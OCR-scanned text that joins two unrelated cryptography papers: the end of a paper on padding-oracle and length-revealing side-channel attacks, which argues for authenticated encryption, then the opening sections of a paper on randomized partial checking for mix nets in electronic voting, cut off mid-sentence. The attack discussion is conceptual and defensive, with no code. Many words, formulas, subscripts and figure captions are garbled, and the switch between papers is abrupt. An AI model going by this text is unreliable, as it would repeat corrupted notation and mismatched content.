But. for short strings we may wish to slightly obscure 
the length of the communication. As an extreme 
example, if we are encrypting a single bit, an adver- 
sary quickly knows the plaintext is one of only two 
values. Padding serves as a way to at least partially 
obscure the length of the plaintext. 


If padding is used, the potential for a valid-padding 
side-channel resurfaces. This arises because stream- 
based encryption is simply the XOR of the plaintext: 
with a pseudorandom bit-stream (Figure 3). There- 
fore, as with CBC Mode, we may flip plaintext, bits 
merely by flipping the corresponding ciphertext. bits. 
The only difference here is that in CBC Mode we 
flipped bits in Ce_, to affect. bits in Me, and here 
we flip bits in C’¢ instead. 


Therefore we see our current collection of attacks is 
not restricted solely to CBC Mode encryption but 
will occur with several conirnon schemes if the plain- 
text is padded. In [Vau02] we find further exain- 
ples of modes (all CBC variants) which succumb to 
padding attacks. The lesson here is that none of 
these modes is trying to prevent an adversary from 
manipulating the ciphertext, and the fact there exist 
attacks against a wide variety of padding schemes 
and encryption schemes based on manipuwation of 
the ciphertext should be no great surprise. 


11th USENIX Security Symposium 


6 Other Side-Channels 


All prior attacks considered how to exploit a valid- 
padding oracle to recover the underlying plaintext 
for any given ciphertext, assuming the use of a va- 
riety of padding methods. But given the power to 
freely and predictably alter the underlying plaintext: 
via manipulations of the ciphertext, one might ex- 
pect that a variety of other oracles would be equally 
useful to an attacker. In this section we describe an 
oracle which divulges the bit-length of an underly- 
ing plaintext and we show that such an oracle would 
also result in highly-efficient attacks. 


A LENGTI-REVEALING ORACLE. A cryptographic 
relay is a device which accepts ciphertext wider 
one scheme and outputs ciphertext under another 
(usually with a different key). Probably the most 
natural setup is where the incoming and outgoing 
schemes are the same, but it is certainly conceiv- 
able that they might be different. Routers which 
handle a variety of physical-layer network protocols 
are common, so a secure router might handle a va- 
riety of cryptographic protocols. 


Imagine a relay where the incoming scheme pads 
the plaintext to a block boundary but the out- 
going scheme uses some length-preserving mode 
(Figure 4). If an adversary can view the cipher- 
text on both sides of the relay, he effectively has 
an oracle which divulges the length, within a block, 
of the underlying plaintext. In the presence of this 
oracle, even those padding schernes which resisted 
valid-padding oracle attacks now succumb. 


Consider the following example: suppose the incom- 
ing ciphertext block Ce is produced by encrypting 
plaintext which is padded with 10* padding. but 
the outgoing ciphertext uses some length-preserving 
scheme such as CTR Mode. Then we can mount an 
attack, regardless of the encryption scheme used, 
more efficient than any we have seen thus far. Us- 
ing our oracle we know the exact position of the last 
trailing 1-bit in the underlying ciphertext. Suppose 
it is in bit-position 2 of a plaintext block M?, count- 
ing bits from 1 starting on the left; end. We then 
flip bit + by manipulating the ciphertext appropri- 
ately, and submit this to the oracle which divulges 
the position of the new rightmost 1-bit. In this man- 
ner, we collect up the positions of all the 1-bits in 
u(At;) oracle queries, where w() denotes the Harn- 
ming weight of Ade. 
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Cray Cy Relay 





Iigure 4: A Cryptographic Relay. Ciphertext 
blocks Cy_, and C's enter the relay as full blocks 
uuder some padded scheme ou the left, but exit 
as blocks C?_, aud C, under a length-preserving 
scheme on the right. 


And even our “perfect” Arbitrary-Tail Padding 
methods from Section 4 (ABYT-PAD, ABIT-PAD) 
fail in the presence of this oracle, which now leads 
us to look for new methods which remain secure in 
this new setting. And so on. 


It is likely that many innocent-looking oracles could 
give rise to attacks in the style above, and it is prob- 
ably difficult to avoid implementing such oracles in 
real systems. However, each attack we examined 
depended on the adversary’s ability to freely and 
predictably alter bits of the plaintext via manipula- 
tion of the ciphertext, and this ability was granted 
by each of the symmetric encryption schemes con- 
sidered. Perhaps the best way to avoid these at- 
tacks is not by attempting to remove all potentially- 
damaging oracles, but rather to remove the adver- 
sary’s ability to alter plaintext. bits in the first place. 
One very-eftective way to accomplish this is with au- 
thenticated encryption. 


7 An Argument for Authenticated 
Encryption 


Security experts have long been recominending that 
encryption always be accompanied by authentica- 
tion [Bel96]. Vaudenay and the present paper lend 
further support to this recommendation. If it were 
impossible for the adversary to produce valid cipher- 
texts other than those he has already seen, all at- 
tacks mentioned in this paper would vanish. 


One might. object to the assertion here that authen- 
tication is truly required; after all, we have shown 
methods in Section 4 which demonstrated that it 
is possible, with care, to remove the padding or- 
acle altogether. And it is obviously possible to 
avoid implementing the length-revealing oracle men- 
tioned in the previous section. However if we have 





learned anything through this exercise it is that side- 
channels like these are probably difficult to avoid 
when designing cryptographic protocols. It. “feels” 
like the simple choice of how to pad a message be- 
fore encryption would have absolutely zero impact 
on security, but as we have seen this is potentially 
untrue. 


AUTHENTICATED ENCRYPTION. Each of the en- 
cryption schemes we have discussed meets the min- 
imal securit-y requirement for privacy: it is compu- 
tationally infeasible to distinguish the encryption of 
a given message from the encryption of a random 
string of the same length. This is so-called “seman- 
tic security” under chosen-plaintext attack for an 
encryption scheme, usually abbreviated IND-CPA 
[BD.JR97]. However, as we have seen, such a guar- 
antee says nothing about the difficulty of produc- 
ing new ciphertexts whose plaintexts are related to 
those already seen. A scheme which prevents this is 
called “non-malleable” [DDN00, BDPR98]. In par- 
ticular, a non-malleable scheme does not allow one 
to flip bits in the ciphertext and induce flipped cor- 
responding bits in the plaintext; therefore it is self- 
evident that our schemes do not. meet this stronger 
notion of security. 


It is disconcerting to see encryption primitives used 
as if they guarantee more than IND-CPA. A com- 
mon example in protocols occurs when a party re- 
ceives Ex (2) and returns Ex (a+ 1) to “prove” he 
holds the key K (here €() denotes some encryption 
scheme and :v is a positive integer). Normal no- 
tions of security do not guarantee such properties. 
In fact, an adversary with no knowledge of K can 
easily produce €;;(” + 1) given Ex (a:) with many 
common instantiations of €. For exaimple, if € is a 
stream cipher we can merely complement the least 
significant bit of Ex (2) to produce Ex (a+ 1) with 
probability about 0.5 (assuming that :v is even with 
probability about 0.5 and that it is encoded as a 
string with its least-significant bit right-justified in 
the plaintext). 


A notion of security strictly stronger than non- 
malleability is the following mouthful: integrity of 
ciphertexts with semantic security against chosen- 
plaintext attacks [BNOO]. We will simply call this 
“authenticated encryption.” 


When we use authenticated encryption, we are guar- 
anteed that (with overwhelming probability) an ad- 
versary will not be able to take a given ciphertext 
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and inanipulate it to produce a new valid ciphcer- 
text. Nor will he be able to combine two ciphertexts 
to produce a new valid ciphertext. In fact, the only 
valid ciphertexts he will be able to produce are (with 
overwhelming probability) repetitions of those he’s 
seen generated as legitimate trafic. He will not be 
able to produce any new ones on his own. Authen- 
ticated cicryption does provide the adversary with 
an oracle which returns VALID and INVALID for any 
ciphertexts he produces. However this oracle will 
(with overwhelming probability) return INVALID 
when given any ciphertext he has tampered with, 
thus rendering the side-channel attacks mentioned 
above (and indeed, any side-channel attacks which 
depend on ciphertext nanipulation) ineffective. 


Cost OF AUTHENTICATED ENCRYPTION. There 
are several ways known for achieving authenticated 
encryption. Perhaps the most. well-known is to en- 
crypt the plaintext with any semantically secure 
scheme (like CBC Mode encryption), then apply 
a Message Authentication Code (MAC) to the re- 
sulting ciphertext. Assuming the MAC is “strongly 
unforgeable,” the resulting scheme will achieve au- 
thenticated encryption [BN00, KY00, Kra01). How 
much additional cost is incurred by the authenti- 
cation step? The fastest-known MACs can pro- 
cess messages of moderate length (say, 256 bytes) 
at. around 10 cycles per byte [BCK96, BHK +99], so 
the acditional cost is quite minimal. ‘This approach 
also has the advantage of being free of patents. 


Recently there have been several modes of oper- 
ation which perform simultaneous encryption and 
authentication [JutOl, RBBK0O1, GD94]. Their per- 
formance is typically quite good; for example, OCB 
Mode [RBBKO1] is about 6.5% slower than just 
CBC Mode encryption, and is fully parallelizable 
(whereas CBC Mode is not). It requires about 
half the cost of running CBC Mode encryption and 
CBC MAC (under the encrypt-then-MAC method 
above). 


AND IT’S STILL POSSIBLE TO GO WRONG. The 
mere use of authenticated encryption does not. guar- 
antee that a particular znplernentation will avoid 
inducing side-channel oracles. We might leak infor- 
mation duriug the cdlecryption and integrity check 
phases which would be useful to an adversary. In 
fact, Manger’s attack on OAEP [Man01] was based 
on precisely this idea. There are doubtless analo- 
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gous dangers on the svinmetric side if one is not 
careful. 


As a simple example, suppose on the sending side 
we pad then encrypt then MAC, but then on the re- 
ceiving side we decrypt, strip the padding, and then 
check the MAC on the ciphertext last. Using this 
unusual ordering, we might send back an error mes- 
sage about. invalid padding before checking to sce 
if the ciphertext was authentic or not; this scheme 
would of course be vulnerable fo the types of attacks 
exhibited in this paper. The message here is clear: 
check the authenticity first; if a received message is 
inauthentic, reject it without any further process- 
lng. 


8 Conclusion 


The cost of authenticated encryption is quite small 
and, when properly implemented, promises to clim- 
inate a wide variety of side-channel attacks based 
on manipulation of ciphertexts. Authentication has 
long been thought of as a separate security goal, 
used only when one is concerned about such things 
as message integrity, authenticity of origin, and non- 
repudiation. It is often regarded as unnecessary in 
systems which require only privacy. But as we have 
seen, the ability to freely manipulate ciphertexts 
gives rise to a wide range of possible attacks based 
on side-channels which presumably cannot be cx- 
ploited without this ability. These side-channels are 
demonstrably damaging and it. is likely very difficult. 
to avoid constructing them in real systems. In light 
of this, perhaps it is time to view authentication as 
a strongly-desirable property of any symmetric en- 
cryption scheme, including those where privacy is 
the only security goal. 
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Abstract 


We propose a new technique for making 
mix nets robust, called randomized partial 
checking (RPC). The basic idea is that rather 
than providing a proof of completely correct 
operation, each server provides strong evi- 
dence of its correct operation by revealing 
a pseudo-randomly selected subset of its in- 
put/output relations. 


Randomized partial checking is exception- 
ally efficient compared to previous proposals 
for providing robustness; the evidence pro- 
vided at each layer is shorter than the out- 
put of that layer, and producing the evi- 
dence is easier than doing the mixing. It 
works with mix nets based on any encryp- 
tion scheme (i.e., on public-key alone, and on 
hybrid schemes using public-key/symmetric- 
key combinations). It also works both with 
Chaumian mix nets where the messages are 
successively encrypted with each servers’ key, 
and with mix nets based on a single public key 
with randomized re-encryption at each layer. 


Randomized partial checking is particu- 
larly well suited for voting systems, as it en- 
sures voter privacy and provides assurance of 
correct operation. Voter privacy is ensured 
(either probabilistically or cryptographically) 
with appropriate design and parameter selec- 
tion. Unlike previous work, our work pro- 
vides voter privacy as a global property of the 
mix net rather than as a property ensured by 
a single honest server. RPC-based mix nets 
also provide very high assurance of a correct 


election result, since a corrupt server is very 
likely to be caught if it attempts to tamper 
with even a couple of ballots. 


Keywords: mix network, mix net, shuffle 
network, electronic voting, randomized par- 
tial checking, public verifiability. 


1 Introduction 


Chaum [7] introduced the notion of a miz 
net as a tool for achieving anonymity in email 
and in electronic elections. A mix net con- 
sists of a sequence of servers, called mizes. 
Each server receives a batch of input mes- 
sages and produces as output the batch in 
permuted (mixed) order. Such mix nets are 
sometimes called miz cascades or shuffle net- 
works. When used for voting, the input mes- 
sages are the ballots of the voters. An ob- 
server should not be able to tell how the in- 
puts correspond to the outputs; this property 
provides voter privacy in an electronic elec- 
tion. In Chaum’s original proposal, before a 
message is sent through the mix net it is first 
successively encrypted with the public keys 
of the mixes it will traverse in reverse order; 
each mix then decrypts each message before 
sending it on to the next mix. 


When a mix net is used to provide voter 
privacy in an election, it is desirable that it 
be robust—i.e., that each mix should also 
output a proof that it has operated cor- 
rectly. The concern is that otherwise a cor- 
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rupt server could replace a ballot with an- 
other one, appropriately encrypted, without 
anybody noticing. 


Abstractly, a robust mix net should: 


1. operate correctly: the output should cor- 
respond to a permutation of the input, 


2. provide privacy: an observer should not 
be able to determine which input element 
corresponds to a given output element 
(and vice versa) in any way better than 
guessing, and 


3. be robust: provide a proof or at least 
strong evidence that it has operated cor- 
rectly. In addition, it is beneficial if 
any interested party is able to check the 
proof or evaluate the evidence; a prop- 
erty called public verifiability. 


We review previous work on robust mix 
nets in Section 2; numerous techniques have 
been proposed for achieving robust mix nets. 


1.1 Randomized Partial Checking 


We introduce a novel robustness technique, 
which we call Randomized Partial Checking, 
and show how it can be applied to obtain a 
highly efficient robust and private mix net, 
which we call an RPC mix net. We also show 
how an RPC mix net is well suited for use in 
electronic elections. 


In an RPC mix net, the inputs are mixed 
as usual by a sequence of servers. ‘I'he servers 
then produce strong evidence of their correct 
operation, rather than a proof of their cor- 
rect operation. ‘The strong evidence takes 
the form of a partial revelation of their in- 
put/output relation. For example, a server 
with n inputs might reveal, for each of n/2 
randomly selected inputs (or some other suf- 
ficiently large fraction), which is the cor- 
responding output. (Of course, the server 
should have little or no control over which 
inputs are selected.) This procedure allows 
for a probabilistic verification of the correct 
operation of each server. 
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With an RPC mix net, privacy is a some- 
what more delicate affair, as servers will be 
routinely disclosing information about their 
input/output relations in order to provide ev- 
idence of correct operation. We shall see how 
privacy can be ensured nonetheless as a global 
property of the RPC mix net. In one version 
of our proposal, adjacent servers are paired, 
such that if one server reveals information 
about a link, the paired server does not re- 
veal information about that same link. See 
Figure 1 for an illustration. 





Figure 1: This figure shows a particular per- 
mutation for a mix net, partially revealed. 
The bold lines show input/output correspon- 
dences that are revealed; the dashed lines 
show correspondences that would be hidden. 
Server 51 is paired with $2, and server S3 is 
paired with $4; no input/output correspon- 
dence is revealed across a pair. ‘Thus, to a 
casual observer, only the correspondences re- 
lating to the bold lines can be inferred. 


Another advantage of RPC mix nets is that 
they are very versatile — they can be used with 
almost any encryption scheme, whether with 
or without sharing of the secret keys among 
the mix servers. 


1.2 Privacy in RPC mix nets 


Privacy in an RPC mix net is a different 
and somewhat more subtle issue than it is 
for a traditional mix net. In a traditional 
mix net, privacy is obtained whenever any 
one server is honest (i.e., whenever any one 
server keeps its input/output relation totally 
secret). In an RPC mix net, however, ev- 
ery server intentionally reveals a portion of its 
input/output relation. Therefore, privacy be- 
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comes a global property of the mix net rather 
than the result of any single honest server. 


Our basic strategy for ensuring privacy is 
such that after the servers reveal partial in- 
formation, there is still no way to connect any 
input with a particular output, even if some of 
the servers are corrupt. Using this approach, 
an RPC mix net guarantees privacy against 
any minority of cheating servers. While dif- 
ferent privacy guarantees can be made, we 
consider a construction in which each element 
is "hidden among” at least half of all the can- 
didate elements. 


1.3. Robustness 


Robustness of a mix net can be obtained 
in serveral different ways, namely cut-and- 
choose [17, 2]; repetition robustness [11, 12, 
15]; standard zero-knowledge proofs in sort- 
ing networks [3, 13]; use of multiple partici- 
pants per layer [8, 18]; error detecting tech- 
niques [14]; and techniques based on secret 
sharing [10, 16]. (We explain the relations 
between these in Section 2.) 


In most of these schemes, a detected cheat- 
ing attempt results in the emulation of of 
the cheater (such as in [14]) or the restart- 
ing of the protocol after a replacement of the 
cheater (such as in [17]). In some schemes, 
such as [8, 18], the outputs of the cheaters 
are simply ignored by the honest majority, 
and the execution continues without any in- 
terruption. (These schemes, though, tolerate 
a substantially lower fraction of cheaters.) In 
our scheme, either of the two first approaches 
can be taken upon detection of a cheater, 
although the best approach may depend on 
the type of encryption used. In particular, if 
an encryption scheme allowing re-encryption 
(such as F]Gamal) is employed, then either 
approach may be taken, while emulation is 
the better approach in hybrid schemes, and 
in schemes of the Chaumian type. ‘This is so 
since the operation performed by the servers 
on their input elements is deterministic (if we 
do not take the permutation aspect into con- 
sideration.) For the same reason, schemes of 
this latter type requires us to perform the 
correctness check in phase with the mixing, 


as opposed to after all mixing has been per- 
formed. For simplicity, we focus on schemes 
based on re-encryption in the following, but 
note that given appropriate attention to the 
recovery from cheating, our techniques apply 
straighforwardly to other types of encryption 
as well. 


If no servers are caught cheating, it is still 
possible that some undetected cheating has 
occurred. For example, a corrupt server may 
have deleted one of its correct output mes- 
sages and replaced it with an arbitrary incor- 
rect one. We shall see, however, that it is very 
unlikely that a meaningful amount of unde- 
tected cheating has occurred, where cheating 
is meaningful if and only if it changes the out- 
come of the election. Thus, our solution is 
geared in particular towards use in election 
schemes or similar applications. ‘To quantify 
the likelyhood that cheating occured unno- 
ticed, we introduce the notion of boundary 
checks, and employ them to assess when the 
output can be relied on. In extremely close 
races, our techniques may have to be aug- 
mented by additional or alternative robust- 
ness techniques, while even in reasonably close 
races, it will suffice. For example, we show 
that our techniques would more than suffice 
to prove robustness in an election such as the 
recent Florida state presidential election. 


1.4 Application to Electronic Vot- 
ing 


RPC mix nets are well suited to vot- 
ing, since anyone can calculate strong up- 
per bounds on the probability that an adver- 
sary could have successfully tampered with 
enough ballots to change the election out- 
come. If this probability is negligible (as it al- 
most certainly would be in practice), the ob- 
served result of the election is endorsed as “of- 
ficial”. Otherwise, we may fall back to an al- 
ternative and potentially more costly scheme 
to count the cast votes. 


Thus, our scheme is optimistic in a slightly 
different sense than schemes that simply as- 
sume, in the absence of detection, that there 
are no cheaters. 
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1.5 Outline of this paper 


Section 2 reviews previous work on robust 
mix nets. Section 3 then provides a com- 
mon framwork and common notation for dis- 
cussing mix nets. Section 4 describes our 
main idea—that each mix server should re- 
veal a randomly selected portion of its in- 
put/output relations. Section 5 then sketches 
how one can use RPC nets to implement elec- 
tronic voting in a practical and trustworthy 
manner. Section 6 shows how RPC mix nets 
achieve public verifiability in the sense that 
any voter or other interested party can check 
that the probability that the election outcome 
is correct is extremely high. 


2 Previous Work on _ Robust 


Mix Nets 


In the first proposal for a robust mix net, 
due to Ogata, Kurosawa, Sako, and Takatani 
in 1997 [17], robustness was achieved by 
means of cut-and-choose methods. Similar 
techniques were later also employed in [2]. 
The primary drawback of this approach is 
its inefficiency, both in terms of computation 
and communication. While the schemes of- 
fer public verifiability, efiiciency constraints 
make this feature difficult to obtain in a prac- 
tical sense for large-scale elections. 


An alternative technique employed by Abe 
[3] and similarly by Jakobsson and Juels [13] 
relies on more efficient zero-knowledge proofs 
of ciphertext equivalence. The resulting mix 
net construction mimics a sorting network in 
its architecture, but uses local random per- 
mutations instead of local sorting in its nodes. 
While it offers public verifiability at reason- 
able cost, its asymptotic behavior makes it 
useful primarly for batches of small or mod- 
erate sizes; it becomes impractical for large 
elections. 


More recently, techniques developed inde- 
pendently by Furukawa and Sako [10] and 
by Neff [16] employ what may loosely be re- 
garded as secret-sharing mechanisms to de- 
tect corruptions of data. Both of these tech- 
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niques are publicly verifiable, and have costs 
linear in the number of inputs (and servers). 
While they offer features well suited for use in 
large-scale elections, our proposed technique 
achieves further efficiency and versatility. 


Researchers have also considered a weak- 
ening of the requirement for public verifia 
bility in mix nets, instead relying on a trust 
assumption that a certain number of servers 
are honest. An early technique in this vein, 
introduced by Jakobsson [11], is that of rep- 
etition robustness. Repetition robustness in- 
volves processing and comparison of several 
randomized instances of input items. The 
same technique is also employed in [12, 15]. 
Repetition robustness is primarily useful for 
very large batches. 


Another approach for achieving robustness 
is to simply let each layer of the mixing 
be processed by a set of servers (instead of 
only one), basing the correctness of the result 
on the honesty of a majority in each layer. 
This technique was suggested by Desmedt 
and Kurosawa [8] for asymmetric ciphertexts, 
and later also used for hybrid encryption [18]. 
Diverging from the other proposals, mix nets 
of this type are resilient against corruption 
of less than a square root of the number 
of servers, instead of against a minority as 
is standard. On the other hand, the very 
straightforward structure makes this type of 
mix net trivial to analyse and understand. 


While asymmetric mix networks are well 
suited for short plaintexts, they have prob- 
lems handling longer plaintexts. These are 
either in the form of efficiency problems 
(with very large moduli) or with keeping 
plaintexts parts together after passing them 
through a mix network in a “chopped-up” 
manner (this, in turn, may result in lower 
efficiency.) Therefore, hybrid mixes have to 
be employed for longer plaintexts (note that 
these should all be of the same size after 
having been padded). As mentioned above, 
one approach, used by Abe [18], is to repli- 
cate servers. Another technique, introduced 
by Jakobsson and Juels [14], involves use 
of cryptographically-based error detection to 
identify cheating. This approach has the ad- 
vantage of permitting symmetric and asym- 
metric encryption to be interleaved, leading 
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to efficient processing of long input items. 
The underlying trust assumption is that a 
majority of servers is honest. This mix net 
is quite fast for a small number of inputs, 
although in this case is not quite as fast as 
[12, 15] if the inputs are short. Additionally, 
it only works as a decryption mix net, not a 
re-encryption mix net. 


3 Notation 


We now provide notation describing the op- 
eration of a simple mix net without robust- 
ness against server faults. 


A voting scheme can employ either of two 
basic flavors of mix net. 


The first of these is known as a re- 
encryption mix net. In this type of mix 
net, both inputs and outputs are cipher- 
texts under the public key of some (seman- 
tically secure) cryptosystem that admits for 
re-encryption without knowledge of the corre- 
sponding private key; El Gamal is a common 
choice. ‘The action of each server in the net is 
to re-encrypt inputs and then permute them. 
People providing inputs typically do not need 
to know the number of servers/layers of the 
mix network. 


The second type of mix net is known as 
a decryption mix net. ‘This is the basic mix 
scheme formulated by Chaum. Inputs to the 
mix net are ciphertexts constructed through 
successive encryption under the public keys 
of individual servers. ‘To process inputs, each 
server decrypts the layer corresponding to its 
own public key in each ciphertext and then 
permutes the resulting items. 


Our RPC scheme is applicable to either 
type of mix net. We now introduce general 
notation that is applicable to either kind of 
mix net. 


We assume that there is a sequence of n 
ciphertexts corresponding to input messages 
My, Mo, ..., M, to the mix net, each such 
ciphertext submitted by a distinct party V;. 
In the application to electronic voting, M; is 


the ballot of voter V;. These inputs are secret; 
input M,; is known only to party V;,. 


The output of the mix net is a sequence 
Z1, Z2,..., Zn. When the mix net operates 
correctly, this sequence is a permutation of 
the input sequence. 


We assume that there are one or more pub- 
lic parameters (e.g., public keys) of the mix 
net, denoted collectively as PK, known to all 
voters. There are also one or more secret pa- 
rameters (e.g., secret keys), denoted collec- 
tively as SK, which may be shared among the 
servers, or alternatively by some other set of 
authorities. 





Figure 2: Generalized mix net, shown for 
n=o.-t=4 he inputs: dVijeWVio. i. VE. are 
first privately encrypted by their providers 
using encryption function &. ‘The t mix 
servers 5), 52, ..., 5; then each privately 
transform and permute their inputs, and pro- 
vide the result to the next server. The fi- 
nal decryption operation D yields a permuted 
version 21,22, ..., Zn of the original input se- 
quence. This final stage may be integrated in 
the previous transforms. 


The general operation of a mix net is de- 
picted in Figure 2. There is an initial encryp- 
tion of each input message by its provider. 
The resulting sequence of ciphertexts is then 
provided to the first mix server Sj of a se- 
quence of ¢ mix servers 51, S2,..., St. Each 
mix server cryptographically transforms each 
input, permutes the results, and provides the 
result as input to the next server. A final 
decryption operation produces the sequence 
Z,, Z2, ..., Zp, which is a permutation of the 
original input sequence of messages. 


We assume the existence of a public bul- 
letin board where messages (digitally signed 
by their poster) can be posted by anyone, 
and read by anyone. This board is written in 
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append-only mode; nothing can be deleted or 
modified once posted. The original encrypted 
input sequence to the first mix server, the 
output sequence of each mix server, and the 
final decrypted message sequence will all be 
posted on the bulletin board. 


We denote the initial encrypted version of 
message M; as C9. That is, 


Cio = Epx (Mi) . 
., Cno is input to 


The sequence C'1.9, C20, .. 
the first server. 


The postings must be non-malleable or 
plaintext aware [9, 4, 6]. Thus, it may con- 
sist of a ciphertext in an underlying cryp- 
tosystem such as FE Gamal, coupled with 
a proof of knowledge of the corresponding 
plaintext [20, 11, 19], or, given the multiple 
layers of encryption, a proof of knowledge of 
an (and any) inner layer. The reason for this 
is to prevent attacks in which one (potentially 
corrupt) voter posts a re-encryption of the 
ballot of some other voter. (For example, sup- 
pose that a corrupt voter suspects another, 
target voter of having submitted an unusual 
write-in vote like “Julius Caesar”. The cor- 
rupt voter could re-encrypt and re-post the 
vote of the target voter. If “Julius Caesar” 
appears twice in the finally tally, then the 
suspicions of the corrupt voter would be con- 
firmed. Similar attacks can also, as is well 
known, be employed for vote buying or coer- 
cion.) 


Server 5S;, for 1 < 7 < t, cryptographically 
transforms each input C;,;~1 using a crypto- 
graphic transformation function X,;. Here X; 
may depend on secret key information SK ; 
known only to server S;, as well as on the 
public parameters PK. The transformation 
X,; may also be randomized. Each server S; 
also permutes its inputs based on a secret per- 
mutation 7, of {1,2,...,n}, so that 


Cig = X5 (Cr, (a),5-1) - (1) 


In the case of a re-encryption mix, a final 
decryption operation D may be applied to the 
output of the final mix server: 


4; = Dsx(Gy2)« 
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This decryption operation will be null in the 
case of a decryption mix net, since the X, 
transforms performed all necessary decryp- 
tions. In the case of a re-encryption mix net, 
one or more decryption authorities knowing 
SK perform this final decryption. 


For a Chaumian mix net (i.e. a decryption 
mix net), the public keying material PK in- 
cludes an individual public key PA, for each 
server 5; in the underlying cryptosystem, 
e.g., RSA. Server S; then holds one of the 
corresponding private keys, SK,;. Thus, the 
encryption scheme F in this case involves suc- 
cessive (random-padded) encryption of the 
message M; under PK;, PKy_),..., PK, re- 
spectively. To satisfy the need for plaintext 
awareness in &, we might employ an encryp- 
tion scheme like OAEP-based RSA [5]. In a 
decryption mix net, we naturally replace X, 
with a decryption function: each server 5S; de- 
crypts a ciphertext C;,,(;),;-1 using its private 
key SK,, thereby stripping away a ciphertext 
layer. As the output of server S; is thus a set 
of plaintexts, there is no need in a Chaumian 
mix net for a further decryption operation D. 


For a re-encryption mix net, the initial en- 
cryption function may be a suitable plaintext- 
aware version of E] Gamal, as noted above. 
(Note that the corresponding proofs of knowl- 
edge do not have to be passed through the 
mix network, but stripped off after hav- 
ing been checked initially.) Each crypto- 
graphic transform xX, will be a randomized 
re-encryption. The final decryption operator 
D will be El Gamal decryption. 


3.1 Committing to private permu- 
tations 


To assist in verification of correct behav- 
ior as explored in the next section, each 
server S; supplements its list of output val- 
ues with a commitment to its private permu- 
tation 7;. So as to enable partial revelation 
of 7;, servers in fact commit to individual in- 
put/output mappings, as we now describe. 


To provide rough notation, let ¢,,{7] de- 
note a commitment to integer 7 under wit- 
ness w. ‘There are two equivalent ways for a 
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server S; to commit to its private permuta- 
tion 7;. The first is to express 7; in terms 
of mappings of input elements to output ele- 
ments, i.e., as a list of commitments to the 
sequence {1;(1),7;(2),...,7;(n)}. We de- 
note a commitment of this form by I ee = 
{Cw,; [7 (2)]}#_1. A second way to specify 
the private permutation 7; in terms of the 
mappings of output elements to input el- 
ements, i.e., aS a commitment to the se- 

i ame nye We de- 


quence ie L)et, (2), 
ple) = 
j 


note the commitment to this list by 


{Cw mee (2) ee For either of the two forms 


of commitment, we let 7;,; denote the i*” 


commitment of server S;. 


In our constructions described in the next 
section, a server 5; will provide with its out- 
put a commitment to 7;. ‘The server will em- 
ploy the form I ae or [ Wee depending on 
its role in the mix network. 


In practice, in the interest of speed, we 
might instantiate the commitment scheme ¢ 
by means of a hash function h such as SHA- 
1. To commit to an integer 2, the committer 
selects a random bitstring w, and computes 
Cwlt] = h(w | 7), where || denotes bitstring 
concatenation. (To ensure input of a 512- 
bits block for the compression function in the 
case where h is chosen to be, e.g., SHA-1, 
it is convenient to express the integer 7 as a 
string of [log, n] bits, and w as a bitstring of 
length 512 — [logyn].) It may be observed 
that this form of commitment is computa- 
tionally binding, with security dependent on 
the collision-freeness of h. Provided that w 
is long enough, the commitment is uncondi- 
tionally hiding with high probability over the 
choice of witness. This is because for a given 
image h(w || 2) there are likely to exist many 
values of w’ and 7 such that w’ | 7’ consti- 
tutes a valid preimage. 


4 Randomized Partial Checking 
of a Mix Net 


Of course, anyone may check that each 
server has produced the same number of out- 
puts as it has inputs. But a server might have 


deleted a proper output, and replaced it by a 
copy of another one, or by an output that it 
generated itself. In this latter case, it would 
be an appropriately encrypted output. 


In our proposal, each server will — during 
the checking phase — reveal a fraction p > 0 of 
its input/output correspondences. The sub- 
set to be revealed is selected by the other 
servers, or by using a random oracle. Thus, 
only some messages will have their origins 
hidden by the first mix server. But as the 
messages progress through the net, eventu- 
ally every message will have its origin hidden. 
For an electronic election, voter privacy then 
emerges as a global property of the mix net, 
not a local property of each mix server. 


In our formulation of the problem, the 
penalty for misbehavior by a server will be 
very large. We thus presume that the threat 
of detection of misbehavior by a server will 
be enough to ensure that the server will be- 
have properly. We do not worry about the 
possibility that some server will try to block 
an election by, say, refusing to carry out its 
duties. (Threshold mix nets are designed to 
counter this threat; another approach would 
be to require that each server escrow shares 
of its secret key with the other servers before 
voting begins. ) 


Similarly, the chance that a server who at- 
tempts to substitute ballots will be caught 
will go up exponentially fast with the num- 
ber of ballots he attempts to replace. ‘Thus, 
a server could not reasonably expect to get 
away with changing more than a single ballot, 
or possibly two. But even when tampering 
with a single ballot, his chance of discovery 
is more than one-half, for reasonable settings 
of the system parameters, and so we presume 
that he will be deterred from even attempting 
to cheat. 


4.1 Revealing a= particular _in- 
put/output correspondence 


In the verification stages of our protocol, a 
server is asked to reveal a collection of in- 
put/output correspondences. If the server 
has committed to input mappings, these cor- 
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respondences are specified in terms of the or- 
dering of inputs to the server. Otherwise, 
they are specified in terms of outputs to the 
server. 


Suppose that server S; wishes to reveal in- 
formation allowing anyone to verify a particu- 
lar input/output correspondence. Let us sup- 
pose that input C;,,;-; maps to C;,;. That is, 
the secret permutation 7; known only to S; 
maps 7 to k (see equation (1)). 


The server reveals the triple 
(k +2, Rjki), 


where fj,; is the information necessary to 
validate equation (1). For a decryption mix 
net, this information A,,; make take the 
form of random padding created by the initial 
provider and used when encrypting C’;;,,; to ob- 
tain C;, ;1. For a re-encryption mix net, this 
information Rj; takes the form of random 
parameters used to control the re-encryption, 
or a proof of knowledge of these. 


Server S; additionally reveals its commit- 
ment to the mapping from C,;-; maps to 
C;,;. That is, if it provided a commitment to 
mw; of the form [ One then it decommits ‘yz, 
i.e., its commitment to 7;(k). If the server 


ae then it de- 
commits ‘y;, 1.e., its commitment to ie 


provided a commitment I 


4.2 Determining which correspon- 
dences to reveal 


Clearly, a server should not know which in- 
put/output correspondences it will have to re- 
veal until after it has committed its output 
sequence of ciphertexts to the bulletin board. 


We first focus on the problem of having 
a random seed committed to before server 
S,; produces its output. This seed will then 
help determine which input/output corre- 
spondences server S; should reveal. ‘There 
are a variety of ways of achieving this goal; 
we suggest the following straightforward ap- 
proach. 


After the close of the election and prior to 
the opening of input/output relations, servers 
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jointly compute a random seed R. ‘They may 
accomplish this by having every server S; 
publish a commitment to a value Ff; selected 
uniformly at random from some appropriate 
set. All servers then decommit and compute 
R as a combination of the A; values; for ex- 
ample, they might compute R = B5_1 R;. 


Let BB here denote the full contents of the 
bulletin board after all servers have published 
their full transcripts, i.e., all inputs, outputs, 
and commitments (but for the moment ex- 
cluding input/output relations). Note that 
new public transcripts are constantly added 
to the bulletin board during the mix pro- 
cess: thus, GBB denotes both the bulletin 
board and this dynamically changing value. 
Servers combine the random value R with BB 
through use of an appropriate hash function 
h, computing a random value Q = A(R, BB). 
The purpose of incorporating GB into the 
